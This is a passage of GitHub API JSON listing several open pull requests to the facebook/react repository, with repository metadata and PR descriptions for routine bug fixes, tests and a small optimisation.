196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "Lihexs:fix/unhandled-promise-rejection-stylesheet-loading", "ref": "fix/unhandled-promise-rejection-stylesheet-loading", "sha": "855a7bb4ff2d65b029b0bdc516970a336281e479", "user": { "login": "Lihexs", "id": 47320608, "node_id": "MDQ6VXNlcjQ3MzIwNjA4", "avatar_url": "https://avatars.githubusercontent.com/u/47320608?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Lihexs", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 698668148, "node_id": "R_kgDOKaTUdA", "name": "react", "full_name": "Lihexs/react", "private": false, "owner": { "login": "Lihexs", "id": 47320608, "node_id": "MDQ6VXNlcjQ3MzIwNjA4", "avatar_url": "https://avatars.githubusercontent.com/u/47320608?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Lihexs", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/Lihexs/react", "created_at": "2023-09-30T15:49:14Z", "updated_at": "2025-12-26T09:10:20Z", "pushed_at": "2025-12-26T10:23:43Z", "homepage": "https://react.dev", "size": 123566, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": true, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35415" }, "html": { "href": "https://github.com/facebook/react/pull/35415" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35415" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35415/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35415/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35415/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/855a7bb4ff2d65b029b0bdc516970a336281e479" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35401", "id": 3120858846, "node_id": "PR_kwDOAJy2Ks66BIbe", "number": 35401, "state": "open", "locked": false, "title": "Re-enable Activity in config panel", "user": { "login": "afurm", "id": 6375192, "node_id": "MDQ6VXNlcjYzNzUxOTI=", "avatar_url": "https://avatars.githubusercontent.com/u/6375192?v=4", "gravatar_id": "", "url": "https://api.github.com/users/afurm", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "- Summary: Restore `` wrappers around the config panel’s expanded/collapsed views in `compiler/apps/playground/components/Editor/ConfigEditor.tsx` after the Next.js upgrade.", "created_at": "2025-12-21T17:41:23Z", "updated_at": "2025-12-21T17:41:41Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "b655a59a2df3567bbf48776f25dcf90655cd6b9f", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "afurm:reenable-activity-config-panel", "ref": "reenable-activity-config-panel", "sha": "6ef93edeb0e621b6919f574d14d745aea2eb5ff1", "user": { "login": "afurm", "id": 6375192, "node_id": "MDQ6VXNlcjYzNzUxOTI=", "avatar_url": "https://avatars.githubusercontent.com/u/6375192?v=4", "gravatar_id": "", "url": "https://api.github.com/users/afurm", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1120644491, "node_id": "R_kgDOQsutiw", "name": "react", "full_name": "afurm/react", "private": false, "owner": { "login": "afurm", "id": 6375192, "node_id": "MDQ6VXNlcjYzNzUxOTI=", "avatar_url": "https://avatars.githubusercontent.com/u/6375192?v=4", "gravatar_id": "", "url": "https://api.github.com/users/afurm", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/afurm/react", "created_at": "2025-12-21T16:43:33Z", "updated_at": "2025-12-21T16:43:33Z", "pushed_at": "2025-12-28T09:15:05Z", "homepage": "https://react.dev", "size": 123526, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35401" }, "html": { "href": "https://github.com/facebook/react/pull/35401" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35401" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35401/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35401/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35401/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/6ef93edeb0e621b6919f574d14d745aea2eb5ff1" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35400", "id": 3120818700, "node_id": "PR_kwDOAJy2Ks66A-oM", "number": 35400, "state": "open", "locked": false, "title": "Add ReactChildren test for single-child key patterns", "user": { "login": "afurm", "id": 6375192, "node_id": "MDQ6VXNlcjYzNzUxOTI=", "avatar_url": "https://avatars.githubusercontent.com/u/6375192?v=4", "gravatar_id": "", "url": "https://api.github.com/users/afurm", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## What\r\n- Add a test to verify `React.Children.map` uses the same key pattern for a single child and an array with one item, for both keyed and unkeyed inputs.\r\n\r\n## Why\r\n- Covers the TODO near `escape()` in `packages/react/src/ReactChildren.js` and guards against regressions in key normalization.\r\n\r\n## Notes\r\n- Tests not run (not requested).\r\n\r\n## Checklist\r\n- [x] Tests run\r\n- [ ] Docs updated (not needed)\r\n", "created_at": "2025-12-21T16:57:38Z", "updated_at": "2025-12-21T17:20:22Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "15aa915abf9e682caf4f1e01cd8d76edbe8ee4e1", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "afurm:fix/reactchildren-key-pattern-test", "ref": "fix/reactchildren-key-pattern-test", "sha": "1be3a3afd54c2dc839410b8abef69e9358d0294a", "user": { "login": "afurm", "id": 6375192, "node_id": "MDQ6VXNlcjYzNzUxOTI=", "avatar_url": "https://avatars.githubusercontent.com/u/6375192?v=4", "gravatar_id": "", "url": "https://api.github.com/users/afurm", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1120644491, "node_id": "R_kgDOQsutiw", "name": "react", "full_name": "afurm/react", "private": false, "owner": { "login": "afurm", "id": 6375192, "node_id": "MDQ6VXNlcjYzNzUxOTI=", "avatar_url": "https://avatars.githubusercontent.com/u/6375192?v=4", "gravatar_id": "", "url": "https://api.github.com/users/afurm", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/afurm/react", "created_at": "2025-12-21T16:43:33Z", "updated_at": "2025-12-21T16:43:33Z", "pushed_at": "2025-12-28T09:15:05Z", "homepage": "https://react.dev", "size": 123526, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35400" }, "html": { "href": "https://github.com/facebook/react/pull/35400" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35400" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35400/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35400/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35400/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/1be3a3afd54c2dc839410b8abef69e9358d0294a" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35398", "id": 3120352595, "node_id": "PR_kwDOAJy2Ks65_M1T", "number": 35398, "state": "open", "locked": false, "title": "DevTools: Fix nested HOC name extraction in extractHOCNames", "user": { "login": "TerryTaoYY", "id": 162158726, "node_id": "U_kgDOCapYhg", "avatar_url": "https://avatars.githubusercontent.com/u/162158726?v=4", "gravatar_id": "", "url": "https://api.github.com/users/TerryTaoYY", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "### Problem\r\n`extractHOCNames` is responsible for unwrapping displayName strings such as: withFoo(withBar(Component))\r\n\r\nThe previous implementation used a global RegExp and iterated via RegExp.exec() while mutating the input string on each unwrap. Because global RegExp instances carry state via `lastIndex`, nested wrappers could stop unwrapping early and only record the outermost HOC.\r\n\r\n### Solution\r\nSwitch to an anchored, non-global RegExp so each unwrap re-parses the updated string from the beginning, eliminating `lastIndex` drift across iterations.\r\n\r\n### Tests\r\n- Added unit coverage for:\r\n - nested wrappers\r\n - a single wrapper\r\n - no HOC wrappers\r\n\r\n### Test Plan\r\nnode ./scripts/jest/jest-cli.js --project devtools --build \\\r\n --runTestsByPath packages/react-devtools-shared/src/__tests__/extractHOCNames-test.js", "created_at": "2025-12-21T05:05:46Z", "updated_at": "2025-12-21T05:11:54Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "b3c8c02665355a6ab230c948aa5062e246b8874c", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "TerryTaoYY:fix/devtools-nested-hoc-name-extraction", "ref": "fix/devtools-nested-hoc-name-extraction", "sha": "13a80c4c8adec03f1a7e9a6b29df4ac5fe0c7de3", "user": { "login": "TerryTaoYY", "id": 162158726, "node_id": "U_kgDOCapYhg", "avatar_url": "https://avatars.githubusercontent.com/u/162158726?v=4", "gravatar_id": "", "url": "https://api.github.com/users/TerryTaoYY", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1120335921, "node_id": "R_kgDOQsb4MQ", "name": "react", "full_name": "TerryTaoYY/react", "private": false, "owner": { "login": "TerryTaoYY", "id": 162158726, "node_id": "U_kgDOCapYhg", "avatar_url": "https://avatars.githubusercontent.com/u/162158726?v=4", "gravatar_id": "", "url": "https://api.github.com/users/TerryTaoYY", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/TerryTaoYY/react", "created_at": "2025-12-21T01:37:52Z", "updated_at": "2025-12-21T01:37:52Z", "pushed_at": "2025-12-21T04:51:41Z", "homepage": "https://react.dev", "size": 123517, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35398" }, "html": { "href": "https://github.com/facebook/react/pull/35398" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35398" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35398/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35398/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35398/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/13a80c4c8adec03f1a7e9a6b29df4ac5fe0c7de3" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35383", "id": 3109452393, "node_id": "PR_kwDOAJy2Ks65Vnpp", "number": 35383, "state": "open", "locked": false, "title": "fix(compiler): use globalThis.Symbol to prevent shadowing by user components", "user": { "login": "gowthamrdyy", "id": 115145278, "node_id": "U_kgDOBtz6Pg", "avatar_url": "https://avatars.githubusercontent.com/u/115145278?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gowthamrdyy", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\r\n\r\nFixes a bug where React Compiler generates code that uses `Symbol.for()` without qualifying it with `globalThis`, causing runtime errors when a user-defined component is named [Symbol](cci:1://file:///Users/gowtham/Downloads/react-main/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-named-symbol-shadows-global.js:2:0-4:1).\r\n\r\n**The Problem:**\r\nWhen a user defines a component named [Symbol](cci:1://file:///Users/gowtham/Downloads/react-main/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-named-symbol-shadows-global.js:2:0-4:1), it shadows the global built-in [Symbol](cci:1://file:///Users/gowtham/Downloads/react-main/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-named-symbol-shadows-global.js:2:0-4:1). The compiler-generated code (e.g., for memo cache sentinels) tries to call `Symbol.for()` but instead accesses the user's component, resulting in `\"Symbol.for is not a function\"`.\r\n\r\nPlayground repro: [Link](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAejQAgMIwQQwBcFN9M4IBbABwgDsE7DM79KEATTAZQE9KARhAA2AHToAzKHTiEAlvR78hwgBQBKTMHGZMeQrDqYAPBzkA3AHwBJUpVJLBI8lVoMmxtGasBucQF9xcQxMAFUwEjlmOSMAQWpqcQQAD1oYZg4ECXwoYWYpGXlFeOoNLR09BAMYI1UK3VMLS3rdEwALAEZLACUCWRxXOWEEGEwAISgAc0xe6hgIDihZBTpPTuajVoa+J2FMNA2tz29DzHU-On8QABoQCkk5SZQQORoIdMxCXmoSYEwABWEUxiAHlqEU6GBMP5MBJ5vYAOQCfACBDCAC01CBkxi6Lw+Fk6IoNCGIy8cjAhARF3Eqm0mwwxOoQyIKwAsgsEMhMKIQPhhGIQAFMGBWWAJHIEFDAcC6GCIWBzjdwG0IAB3axMEasYRgFDZXUIfxAA)\r\n\r\n**The Fix:**\r\nUpdated [CodegenReactiveFunction.ts](cci:7://file:///Users/gowtham/Downloads/react-main/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CodegenReactiveFunction.ts:0:0-0:0) to use `globalThis.Symbol.for()` instead of bare `Symbol.for()` references. This ensures the built-in global is always used, regardless of local variable names.\r\n\r\n## How did you test this change?\r\n\r\n1. **Added a new test fixture** ([component-named-symbol-shadows-global.js](cci:7://file:///Users/gowtham/Downloads/react-main/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-named-symbol-shadows-global.js:0:0-0:0)) that defines a component named [Symbol](cci:1://file:///Users/gowtham/Downloads/react-main/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-named-symbol-shadows-global.js:2:0-4:1).\r\n - Verified that this test case previously failed (or would produce broken code) and now compiles to correct code using `globalThis.Symbol`.\r\n2. **Verified generated output:** checked that the compiled output for cache sentinels and early return sentinels now explicitly uses `globalThis.Symbol`.\r\n3. **Manual verification:** Confirmed the fix addresses the issue reported in the playground.", "created_at": "2025-12-17T10:25:13Z", "updated_at": "2025-12-17T10:34:57Z", "closed_at": null, "merged_at": null, "merge_commit_sha": null, "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "gowthamrdyy:fix/compiler-symbol-shadowing", "ref": "fix/compiler-symbol-shadowing", "sha": "f99f913f9fc9f197720c5d8c036c9b0e824ad6d1", "user": { "login": "gowthamrdyy", "id": 115145278, "node_id": "U_kgDOBtz6Pg", "avatar_url": "https://avatars.githubusercontent.com/u/115145278?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gowthamrdyy", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1117248339, "node_id": "R_kgDOQpfbUw", "name": "react", "full_name": "gowthamrdyy/react", "private": false, "owner": { "login": "gowthamrdyy", "id": 115145278, "node_id": "U_kgDOBtz6Pg", "avatar_url": "https://avatars.githubusercontent.com/u/115145278?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gowthamrdyy", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/gowthamrdyy/react", "created_at": "2025-12-16T03:37:28Z", "updated_at": "2025-12-17T10:14:17Z", "pushed_at": "2025-12-17T10:34:56Z", "homepage": "https://react.dev", "size": 123774, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "88ee1f595572b1dcf8f45897cb115b4bbd1aefb8", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35383" }, "html": { "href": "https://github.com/facebook/react/pull/35383" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35383" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35383/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35383/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35383/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/f99f913f9fc9f197720c5d8c036c9b0e824ad6d1" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35378", "id": 3108215293, "node_id": "PR_kwDOAJy2Ks65Q5n9", "number": 35378, "state": "open", "locked": false, "title": "[react] Optimize escape function by hoisting regex and lookup table", "user": { "login": "suekou", "id": 136655880, "node_id": "U_kgDOCCU0CA", "avatar_url": "https://avatars.githubusercontent.com/u/136655880?v=4", "gravatar_id": "", "url": "https://api.github.com/users/suekou", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\r\n\r\n## Summary\r\n\r\n\r\nHoist the key escaping helpers used by `React.Children` to module scope so they’re 